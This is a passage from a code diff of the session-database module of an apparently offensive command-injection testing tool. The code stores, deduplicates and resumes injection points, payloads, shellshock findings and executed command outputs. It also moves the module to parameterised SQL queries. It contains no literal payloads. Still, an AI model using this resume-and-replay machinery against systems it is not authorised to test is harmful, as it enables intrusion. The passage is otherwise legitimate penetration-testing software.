SQLite operational errors critically + settings.print_data_to_stdout(settings.print_critical_msg("SQLite error: " + str(err_msg))) + except Exception as e: + # Log any other unexpected errors critically + settings.print_data_to_stdout(settings.print_critical_msg("Error in clear(): " + str(e))) """ -Import successful injection points to session file. -""" -def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable): - try: - conn = sqlite3.connect(settings.SESSION_FILE) - conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ - "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \ - "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\ - "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\ - "timesec INTEGER, how_long INTEGER, output_length INTEGER, is_vulnerable VARCHAR);") - - conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\ - "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\ - "url_time_response, timesec, how_long, output_length, is_vulnerable) "\ - "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ - (str(url), str(technique), str(injection_type), \ - str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \ - str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \ - int(url_time_response), int(timesec), int(how_long), \ - int(output_length), str(is_vulnerable))) - conn.commit() - conn.close() - if settings.INJECTION_CHECKER == False: +Add any column a stored table was written before, so an older session file takes a newer row. +""" +def _ensure_columns(conn, table, columns): + existing = set(row[1] for row in conn.execute("PRAGMA table_info(\"" + table + "\");")) + for name, declaration in columns: + if name not in existing: + conn.execute("ALTER TABLE \"" + table + "\" ADD COLUMN " + name + " " + declaration + ";") + +""" +Store details of a successful injection point into the session database. +Includes various metadata such as technique, payload, timing, vulnerability status, HTTP method, headers, and cookies. +""" +def _stored_tmp_path(technique): + # A finding that fell back to a temporary directory has to record which one, or the resumed run + # has no name for the file its stored payload reads back. + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + return menu.options.tmp_path or settings.TMP_PATH or "" + return menu.options.tmp_path or "" + +def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): + + try: + with _session_connection() as conn: + table = table_name(url) + "_ip" + + # Create the table if it does not exist + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " + "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR, " + "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, " + "TAG VARCHAR, interpreter VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " + "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR, " + "target_os VARCHAR, file_deleted VARCHAR DEFAULT '', web_root VARCHAR DEFAULT '', tmp_path VARCHAR DEFAULT '', " + "second_url VARCHAR DEFAULT '', second_req VARCHAR DEFAULT '', csrf_token VARCHAR DEFAULT '', " + "csrf_url VARCHAR DEFAULT '', csrf_method VARCHAR DEFAULT '', csrf_data VARCHAR DEFAULT '', " + "value_encoding VARCHAR DEFAULT '');") + + # The options a stored payload was made with, for a session file that predates them. + _ensure_columns(conn, table, (("second_url", "VARCHAR DEFAULT ''"), ("second_req", "VARCHAR DEFAULT ''"), ("csrf_token", "VARCHAR DEFAULT ''"), + ("csrf_url", "VARCHAR DEFAULT ''"), ("csrf_method", "VARCHAR DEFAULT ''"), ("csrf_data", "VARCHAR DEFAULT ''"), + ("value_encoding", "VARCHAR DEFAULT ''"))) + + # Check if an exact matching record already exists to avoid duplicates + query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " + "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND interpreter = ? AND payload = ? AND " + "http_header = ? AND http_request_method = ? AND url_time_response = ? AND timesec = ? AND exec_time = ? AND " + "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? AND target_os = ? AND web_root = ? AND tmp_path = ? AND " + "second_url = ? AND second_req = ? AND csrf_token = ? AND csrf_url = ? AND csrf_method = ? AND csrf_data = ? AND value_encoding = ? LIMIT 1;") + + params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter or ""), + str(prefix), str(suffix), str(TAG), str(interpreter), str(payload), str(settings.HTTP_HEADER), + str(http_request_method), int(url_time_response), int(timesec), int(exec_time), + int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), + str(menu.options.tamper or ""), str(settings.TARGET_OS), str(settings.WEB_ROOT or ""), str(_stored_tmp_path(technique)), + str(menu.options.second_url or ""), str(menu.options.second_req or ""), str(settings.CSRF_TOKEN_ORIGINAL or ""), + str(menu.options.csrf_url or ""), str(menu.options.csrf_method or ""), str(menu.options.csrf_data or ""), + json.dumps(settings.VALUE_ENCODING) if settings.VALUE_ENCODING else "") + + if settings.BASE64_PADDING in params[0]: + params = (params[0].replace(settings.BASE64_PADDING, _urllib.parse.quote(settings.BASE64_PADDING)),) + params[1:] + + cursor = conn.execute(query_check, params) + + # Insert new record only if no identical record exists + if cursor.fetchone() is None: + conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " + "shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_header, http_request_method, " + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper, target_os, web_root, tmp_path, " + "second_url, second_req, csrf_token, csrf_url, csrf_method, csrf_data, value_encoding) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) + conn.commit() + + # Any stand-in for the parameter's value is recorded with the finding rather than before it, so + # the two cannot disagree on a replay: a run that dropped the value, confirmed nothing and put + # it back arrives here un-optimised, and the row is cleared instead of outliving its refusal. + if vuln_parameter: + if settings.TESTABLE_VALUE_OPTIMIZED and settings.TESTABLE_VALUE: + import_testable_value_status(url, vuln_parameter, http_request_method, settings.TESTABLE_VALUE) + else: + clear_testable_value_status(url, vuln_parameter, http_request_method) + + # Mark injection checker as True to indicate session contains injection data + if not settings.INJECTION_CHECKER: settings.INJECTION_CHECKER = True - + except sqlite3.OperationalError as err_msg: err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." - err_msg += " You are advised to rerun with switch '--flush-session'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + err_msg += " Re-run with switch '--flush-session'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + checks.quit(filename, url, hard_exit=False) - except sqlite3.DatabaseError as err_msg: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "If the problem persists use the '--flush-session' option." - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() + except sqlite3.DatabaseError: + checks.error_loading_session_file() """ -Export successful applied techniques from session file. +All stored shellshock findings for this URL, one (header, payload) pair per header - resumes everything at once, mirroring the core engine's LOAD_SESSION behavior instead of the technique-letter-keyed model the other 4 techniques use. """ -def applied_techniques(url, http_request_method): +def get_all_stored_shellshock(url, http_request_method): + found = [] + if menu.options.ignore_session or menu.options.flush_session: + return found try: - conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC ;") - else: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC ;") - values = [] - for session in applied_techniques: - if "tempfile" in session[0][:8]: - settings.TEMPFILE_BASED_STATE = True - session = session[0][4:] - elif "dynamic" in session[0][:7]: - settings.EVAL_BASED_STATE = True - session = session[0][13:] - values += session[0][:1] - applied_techniques = ''.join(list(set(values))) - return applied_techniques - except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False + table = table_name(url) + "_ip" + with _session_connection() as conn: + if not table_exists(conn, table): + return found + clause, url_params = url_match(url) + query = ("SELECT http_header, payload FROM \"" + table + "\" WHERE " + clause + " AND " + "technique = ? AND http_request_method = ?;") + cursor = conn.execute(query, url_params + (settings.SHELLSHOCK_TECHNIQUE, http_request_method)) + found = [(row[0], row[1]) for row in cursor.fetchall()] + return found + except Exception: + return found + +""" +Whether this URL already has any stored shellshock finding, regardless of header - skips re-asking to test for it. +""" +def has_stored_shellshock(url): + if menu.options.ignore_session or menu.options.flush_session: return False - except: - settings.LOAD_SESSION = False + try: + table = table_name(url) + "_ip" + with _session_connection() as conn: + if not table_exists(conn, table): + return False + clause, url_params = url_match(url) + query = "SELECT 1 FROM \"" + table + "\" WHERE " + clause + " AND technique = ? LIMIT 1;" + cursor = conn.execute(query, url_params + (settings.SHELLSHOCK_TECHNIQUE,)) + return cursor.fetchone() is not None + except Exception: return False """ -Export successful applied techniques from session file. +Retrieve a summary string of all unique injection techniques that have been successfully applied +and stored in the session for the given URL. +""" +def applied_techniques(url, http_request_method): + techniques = [] + try: + with _session_connection() as conn: + table = table_name(url) + "_ip" + if table_exists(conn, table): + clause, url_params = url_match(url) + query = "SELECT technique FROM \"" + table + "\" WHERE " + clause + " AND http_request_method = ?;" + cursor = conn.execute(query, url_params + (http_request_method,)).fetchall() + for session in cursor: + technique_info = session[0] + letter = technique_letter(technique_info) + if letter: + techniques.append(letter) + techniques = list(set(techniques)) + techniques = "".join(str(x) for x in techniques) + return techniques + except Exception: + settings.LOAD_SESSION = None + return techniques + +""" +Retrieve the injection level stored in the session for the given URL, considering HTTP headers or cookies. +Returns the default injection level if no stored data is found. """ def applied_levels(url, http_request_method): + level = settings.DEFAULT_INJECTION_LEVEL try: - conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC;") - else: - applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC;") - - for session in applied_level: - return session[0] + with _session_connection() as conn: + table = table_name(url) + "_ip" + if table_exists(conn, table): + clause, url_params = url_match(url) + query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE " + clause + " AND http_request_method = ?;" + cursor = conn.execute(query, url_params + (http_request_method,)).fetchall() + # The highest any stored point was reached at, since testing there covers the ones below it. + for session in cursor: + http_header = session[0] + if http_header: + if http_header == settings.COOKIE.lower(): + stored_level = settings.COOKIE_INJECTION_LEVEL + else: + stored_level = settings.HTTP_HEADER_INJECTION_LEVEL + elif str(session[1]).isdigit(): + stored_level = int(session[1]) + else: + stored_level = settings.DEFAULT_INJECTION_LEVEL + level = max(level, stored_level) + return level + except Exception: + settings.LOAD_SESSION = None + return level - except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False + +""" +Where the session file for this URL would live - settings.SESSION_FILE isn't set this early. +""" +def compute_expected_session_file(url): + if menu.options.session_file: + return menu.options.session_file + output_dir = menu.options.output_dir or settings.OUTPUT_DIR + host = _urllib.parse.urlparse(url).netloc.replace(":", "_") + return os.path.join(output_dir, host, "session.db") + +""" +Cheap, coarse (no parameter match yet) check for any stored injection point for this (host, method). +""" +def has_any_stored_technique(url, http_request_method): + if menu.options.ignore_session or menu.options.flush_session: return False - except: - settings.LOAD_SESSION = False + session_file = compute_expected_session_file(url) + if not os.path.isfile(session_file): + return False + try: + with _session_connection(session_file) as conn: + table = table_name(url) + "_ip" + if not table_exists(conn, table): + return False + cursor = conn.cursor() + clause, url_params = url_match(url) + query = "SELECT technique, injection_type FROM \"" + table + "\" WHERE " + clause + " AND http_request_method = ?;" + cursor.execute(query, url_params + (http_request_method,)) + return any(technique_selection(*row)[0] and checks.technique_selected(*technique_selection(*row)) for row in cursor.fetchall()) + except (sqlite3.OperationalError, sqlite3.DatabaseError): return False """ -Export successful injection points from session file. +Find a stored injection point matching the URL, parameter, and HTTP method, then restore its settings. """ -def injection_point_exportation(url, http_request_method): +def check_stored_injection_points(url, check_parameter, http_request_method): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ - table_name(url) + "_ip' AND type = 'table';") - if result: - if menu.options.tech[:1] == "c": - select_injection_type = "R" - elif menu.options.tech[:1] == "e": - settings.EVAL_BASED_STATE = True - select_injection_type = "R" - elif menu.options.tech[:1] == "t": - select_injection_type = "B" - else: - select_injection_type = "S" - if settings.TEMPFILE_BASED_STATE and select_injection_type == "S": - check_injection_technique = "t" - elif settings.EVAL_BASED_STATE and select_injection_type == "R": - check_injection_technique = "d" - else: - check_injection_technique = menu.options.tech[:1] - if settings.TESTABLE_PARAMETER: - cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "injection_type like '" + select_injection_type + "%' AND "\ - "technique like '" + check_injection_technique + "%' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC limit 1;") - - else: - cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "injection_type like '" + select_injection_type + "%' AND "\ - "technique like '" + check_injection_technique + "%' AND "\ - "http_header = '" + settings.HTTP_HEADER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC limit 1;") + found = False + vuln_parameter = check_parameter + session_url = url + table = table_name(url) + "_ip" + + # Ensure table name is safe (only alphanumeric + underscore) + if not table.isidentifier(): + raise ValueError("Unsafe table name") + + with _session_connection() as conn: + # Check if the table exists + if not table_exists(conn, table): + settings.LOAD_SESSION = None + return url, check_parameter + + cursor = conn.cursor() + + # Fetch stored sessions for matching URL + base_url = split_url(url) + query = "SELECT * FROM \"" + table + "\" WHERE (url = ? OR url LIKE ? ESCAPE '\\');" + cursor.execute(query, (base_url, escape_like(base_url) + "?%")) + sessions = cursor.fetchall() + + for session in sessions: + technique_info = session[2] + vuln_param = session[6] + http_header = session[12] + stored_method = session[13] + + # A stored point only applies to the exact parameter/method being tested. + if check_parameter not in (vuln_param, http_header) or stored_method != http_request_method: + continue + + technique, technique_is_eval = technique_selection(technique_info, session[3]) + + if technique and checks.technique_selected(technique, technique_is_eval): + found = True + # Prefer more specific vulnerable parameter (e.g. HTTP header), if available + vuln_parameter = vuln_param or http_header + session_url = session[1] + + cookie = restore_option(session[20] if len(session) > 20 else None, settings.USER_APPLIED_COOKIE, "cookie") + if cookie: + if settings.INJECT_TAG in cookie: + settings.COOKIE_INJECTION = True + menu.options.cookie = cookie + + if found: + settings.LOAD_SESSION = True + settings.INJECTION_CHECKER = True + # Said where it happens, as the '--ignore-session' switch says the opposite where it happens. + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Resuming the injection point for '" + str(vuln_parameter) + "' from the stored session." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if not settings.MULTI_TARGETS and vuln_parameter not in settings.TESTABLE_PARAMETERS_LIST: + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) + return session_url, vuln_parameter - for session in cursor: - url = session[1] - technique = session[2] - injection_type = session[3] - separator = session[4] - shell = session[5] - vuln_parameter = session[6] - prefix = session[7] - suffix = session[8] - TAG = session[9] - alter_shell = session[10] - payload = session[11] - http_request_method = session[13] - url_time_response = session[14] - timesec = session[15] - how_long = session[16] - output_length = session[17] - is_vulnerable = session[18] - return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable - else: - no_such_table = True - pass - except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False - return False - except: settings.LOAD_SESSION = False - return False + return url, check_parameter + + except Exception: + settings.LOAD_SESSION = None + return url, check_parameter + """ -Notification about session. +Fetch all stored injection points in one query, keyed by technique. """ -def notification(url, technique, injection_type): +def load_stored_techniques(url, check_parameter, http_request_method): + stored = {} try: - if settings.LOAD_SESSION == True: - info_msg = "A previously stored session has been held against that host." - print(settings.print_info_msg(info_msg)) - while True: - if not menu.options.batch: - question_msg = "Do you want to resume to the " - question_msg += "(" + injection_type.split(" ")[0] + ") " - question_msg += technique.rsplit(' ', 2)[0] - question_msg += " injection point? [Y/n] > " - settings.LOAD_SESSION = _input(settings.print_question_msg(question_msg)) - else: - settings.LOAD_SESSION = "" - if len(settings.LOAD_SESSION) == 0: - settings.LOAD_SESSION = "Y" - if settings.LOAD_SESSION in settings.CHOICE_YES: - return True - elif settings.LOAD_SESSION in settings.CHOICE_NO: - settings.LOAD_SESSION = False - if technique[:1] != "c": - while True: - question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - if len(proceed_option) == 0: - proceed_option = "c" - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "a": - settings.RETEST = True - break - elif proceed_option.lower() == "c" : - settings.RETEST = False - break - elif proceed_option.lower() == "n": - raise SystemExit() - else: - pass - else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - if settings.SESSION_APPLIED_TECHNIQUES: - menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) - return False - elif settings.LOAD_SESSION in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) + with _session_connection() as conn: + table = table_name(url) + "_ip" + if not table_exists(conn, table): + return stored + + cursor = conn.cursor() + base_url = split_url(url) + query = "SELECT * FROM \"" + table + "\" WHERE (url = ? OR url LIKE ? ESCAPE '\\') AND http_request_method = ?;" + cursor.execute(query, (base_url, escape_like(base_url) + "?%", http_request_method)) + + for session in cursor.fetchall(): + row = session[1:] + technique, vuln_parameter, http_header = row[1], row[5], row[11] + letter, letter_is_eval = technique_selection(technique, row[2]) + if check_parameter not in (vuln_parameter, http_header) or not letter: + continue + # A technique this run was not asked to test is not resumed, nor reported as resumed. + if not checks.technique_selected(letter, letter_is_eval): + continue + # Kept under the name this version knows it by, which is the name the order below is written + # in and the name everything that looks one up asks by: filed under the one the session was + # written with, a row from before a rename passed every check above and was then dropped by + # that order, leaving a point reported as resumed with nothing to resume it from. + stored[settings.LEGACY_TECHNIQUE_NAMES.get(technique, technique)] = row + return {_: stored[_] for _ in settings.TECHNIQUE_ORDER if _ in stored} + except Exception: + return stored """ -Check for specific stored parameter. +Raised by 'apply_stored_technique()' when an explicit '--web-root' conflicts with the one the +stored file-based technique was found with - its own stored payload has that old path written +into it, so honoring the new one while replaying the old payload verbatim would send the two +different directories in the same request. The stored technique is dropped (forcing it to be +found fresh, consistent with the path just given) rather than silently overriding either one. """ -def check_stored_parameter(url, http_request_method): - if injection_point_exportation(url, http_request_method): - if injection_point_exportation(url, http_request_method)[16] == str(menu.options.level): - # Check for stored alternative shell - if injection_point_exportation(url, http_request_method)[9] != "": - menu.options.alter_shell = injection_point_exportation(url, http_request_method)[9] - return True - else: - return False - else: +class StoredWebRootConflict(Exception): + pass + +""" +Restore stored technique state and resume without querying the database again. +""" +def apply_stored_technique(row): + (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, + TAG, interpreter, payload, http_header, http_request_method, url_time_response, + timesec, exec_time, output_length, is_vulnerable, data, cookie) = row[:20] + injection_type = stored_injection_type(injection_type) + # Read the same way the injection type above is: a session written under the older name names the + # same technique, and what is handed back is compared against the name this version uses. + technique = settings.LEGACY_TECHNIQUE_NAMES.get(technique, technique) + # Older sessions (pre-tamper-column) won't have this field - default to "". + tamper = row[20] if len(row) > 20 else "" + # Older sessions (pre-target_os-column) won't have this field either. + target_os = row[21] if len(row) > 21 else None + # Nor will they have the document root the stored payload writes into, or the temporary + # directory a finding that fell back to one used. + web_root = row[23] if len(row) > 23 else None + tmp_path = row[24] if len(row) > 24 else None + # Nor the options that say where the result of this payload is read from - without them the + # payload is replayed into a target that answers it with nothing, and says nothing about why. + second_url = row[25] if len(row) > 25 else None + second_req = row[26] if len(row) > 26 else None + csrf_token = row[27] if len(row) > 27 else None + csrf_url = row[28] if len(row) > 28 else None + csrf_method = row[29] if len(row) > 29 else None + csrf_data = row[30] if len(row) > 30 else None + value_encoding = row[31] if len(row) > 31 else None + + if http_header: + settings.HTTP_HEADER = http_header + # The short stand-in the previous run put in place of the parameter's own value, if it used one. + placeholder = check_stored_testable_value(url, vuln_parameter, http_request_method) + cookie = restore_option(cookie, settings.USER_APPLIED_COOKIE, "cookie", placeholder) + if cookie: + menu.options.cookie = cookie + data = restore_option(data, settings.USER_APPLIED_DATA, "POST data", placeholder) + if data: + settings.IGNORE_USER_DEFINED_POST_DATA = False + menu.options.data = data + if settings.INJECTION_LEVEL != is_vulnerable: + settings.INJECTION_LEVEL = int(is_vulnerable) + if tamper: + if menu.options.tamper and menu.options.tamper != tamper: + warn_msg = ("The stored session was found using tamper script(s) '" + tamper + "', " + "which differs from the '--tamper' value provided now ('" + menu.options.tamper + + "'). Using the stored value to replay this technique consistently.") + say_once_about_session(warn_msg) + menu.options.tamper = tamper + if target_os and target_os != "None": + # What the two mean rather than how each was written: '--os' takes both spellings of the family + # and leaves them as given, while the stored value is the one the rest of the code compares + # against - so 'unix-like' read as differing from a stored 'unix', and the run was warned about + # a conflict between two names for the same system. + applied_os = settings.OS.WINDOWS if (menu.options.os or "").lower() == settings.OS.WINDOWS else settings.OS.UNIX + if menu.options.os and applied_os != target_os.lower(): + warn_msg = ("The stored session was found against target OS '" + target_os.title() + "', " + "which differs from the '--os' value provided now ('" + menu.options.os.title() + + "'). Using the stored value to replay this technique consistently.") + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Stored as text, restored as one of the two values the rest of the code compares against. + settings.TARGET_OS = settings.OS.WINDOWS if target_os.lower() == settings.OS.WINDOWS else settings.OS.UNIX + if web_root and web_root != "None": + # The stored payload writes to the document root it was found with, spelled out inside it - an + # explicit '--web-root' naming a different one cannot be honored by replaying that payload + # verbatim, so the stored technique is dropped instead of either value silently losing to the + # other; it is found again fresh, against the directory just given. + if settings.USER_APPLIED_WEB_ROOT and str(menu.options.web_root) != str(web_root): + warn_msg = ("The stored session was found using the document root '" + web_root + "', which " + "differs from the '--web-root' value provided now ('" + str(menu.options.web_root) + + "'). Forcing a fresh detection of the file-based technique to use it.") + say_once_about_session(warn_msg) + settings.STORED_TECHNIQUES.pop(technique, None) + raise StoredWebRootConflict() + settings.WEB_ROOT = web_root + for stored, applied_name, label, switch in ((second_url, "second_url", "second-order URL", "--second-url"), + (second_req, "second_req", "second-order request file", "--second-req"), + (csrf_token, "csrf_token", "anti-CSRF token parameter", "--csrf-token")): + if not stored or stored == "None": + continue + applied = getattr(menu.options, applied_name) + if applied and str(applied) != str(stored): + announce_replay_conflict(stored, applied, label, switch) + elif not applied: + info_msg = "The stored finding was made with the " + label + " '" + str(stored) + "', which is put back for this run." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + setattr(menu.options, applied_name, stored) + + # Where the token was read from, which a restored token name is of little use without. + if csrf_url and csrf_url != "None": + if menu.options.csrf_url and menu.options.csrf_url != csrf_url: + announce_replay_conflict(csrf_url, menu.options.csrf_url, "anti-CSRF token page", "--csrf-url") + elif not menu.options.csrf_url: + info_msg = "The stored finding was made with the anti-CSRF token page '" + str(csrf_url) + "'" + if csrf_method and csrf_method != "None": + info_msg += " (" + str(csrf_method).upper() + (" '" + str(csrf_data) + "'" if csrf_data and csrf_data != "None" else "") + ")" + info_msg += ", which is put back for this run." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.options.csrf_url = csrf_url + if csrf_method and csrf_method != "None": + menu.options.csrf_method = csrf_method + if csrf_data and csrf_data != "None": + menu.options.csrf_data = csrf_data + + """ + How the parameter carried its value when the finding was made, put back before the finding is + replayed: a value written in something and answered as it stands is a value the target refuses. + """ + if value_encoding and value_encoding != "None": + try: + settings.VALUE_ENCODING = json.loads(value_encoding) + except Exception: + settings.VALUE_ENCODING = None + + # Read back the way it was given, so what the token is looked up by is what it was found with. + if csrf_token and csrf_token != "None": + checks.set_anticsrf_token(csrf_token) + if second_req and second_req != "None" and os.path.isfile(second_req): + from src.core.parse import request as request_parser + settings.SECOND_ORDER_REQUEST = request_parser.parse_single_request(second_req, "second-order") + + if tmp_path and tmp_path != "None": + # Likewise the temporary directory, for a finding that fell back to one. + if settings.USER_APPLIED_TMP_PATH: + announce_replay_conflict(tmp_path, menu.options.tmp_path, "temporary directory", "--tmp-path") + menu.options.tmp_path = tmp_path + """ + The interpreter and the delay are stored as they were used, and the replay below is handed both. + Neither is taken from the command line again, so a run asking for something else is told so. + """ + if settings.USER_APPLIED_INTERPRETER: + announce_replay_conflict(interpreter or "none", menu.options.interpreter, "interpreter", "--interpreter") + if settings.USER_APPLIED_TIMESEC and timesec: + announce_replay_conflict(timesec, int(menu.options.timesec), "delay", "--time-sec") + + return (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, + TAG, interpreter, payload, http_request_method, url_time_response, timesec, + exec_time, output_length, is_vulnerable) + +""" +Check whether the output file for a stored technique has already been deleted from the target. +""" +def check_file_deleted(url, technique, vuln_parameter, http_request_method): + try: + with _session_connection() as conn: + table = table_name(url) + "_ip" + if not table_exists(conn, table): + return False + cursor = conn.cursor() + clause, url_params = url_match(url) + query = ("SELECT file_deleted FROM \"" + table + "\" WHERE " + clause + " AND technique = ? AND " + "(vuln_parameter = ? OR http_header = ?) AND http_request_method = ? LIMIT 1;") + cursor.execute(query, url_params + (technique, vuln_parameter, vuln_parameter, http_request_method)) + row = cursor.fetchone() + return bool(row and row[0]) + except Exception: return False """ -Import successful command execution outputs to session file. +Persist that the output file for a stored technique has been deleted from the target. """ -def store_cmd(url, cmd, shell, vuln_parameter): - if any(type(_) is str for _ in (url, cmd, shell, vuln_parameter)): - try: - conn = sqlite3.connect(settings.SESSION_FILE) - conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \ - "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") - if settings.TESTABLE_PARAMETER: - conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ - "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode()), \ - str(base64.b64encode(shell.encode(settings.UNICODE_ENCODING)).decode()), \ - str(vuln_parameter))) - else: - conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) "\ - "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode()), \ - str(base64.b64encode(shell.encode(settings.UNICODE_ENCODING)).decode()), \ - str(settings.HTTP_HEADER))) +def mark_file_deleted(url, technique, vuln_parameter, http_request_method): + try: + with _session_connection() as conn: + table = table_name(url) + "_ip" + if not table_exists(conn, table): + return + clause, url_params = url_match(url) + conn.execute("UPDATE \"" + table + "\" SET file_deleted = '1' WHERE " + clause + " AND technique = ? AND " + "(vuln_parameter = ? OR http_header = ?) AND http_request_method = ?;", + url_params + (technique, vuln_parameter, vuln_parameter, http_request_method)) conn.commit() - conn.close() - except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) - except TypeError as err_msg: + except Exception: + pass + +""" +Store the output of a successfully executed command for a given URL and vulnerable parameter in the session database. +Command and output are base64-encoded for storage. +""" +def store_cmd(url, cmd, shell, vuln_parameter): + if all(type(_) is str for _ in (url, cmd, shell, vuln_parameter)): + try: + with _session_connection() as conn: + table = table_name(url) + "_ir" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " + "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR, url VARCHAR DEFAULT '');") + # The address the output came back from, which the table was keyed without - named for the + # host alone, one page's answers were handed back as another's. + _ensure_columns(conn, table, (("url", "VARCHAR DEFAULT ''"),)) + encoded_cmd = base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + # One row per command and place, the way the tables holding a single fact about the target + # already keep one. Inserted without this, a command asked again on a later run left its + # answer beside the one before it rather than in its place: the read takes the last row, so + # the answer was right and the table grew by a row for every repeat all the same. + conn.execute("DELETE FROM \"" + table + "\" WHERE cmd = ? AND vuln_parameter = ? AND url = ?;", + 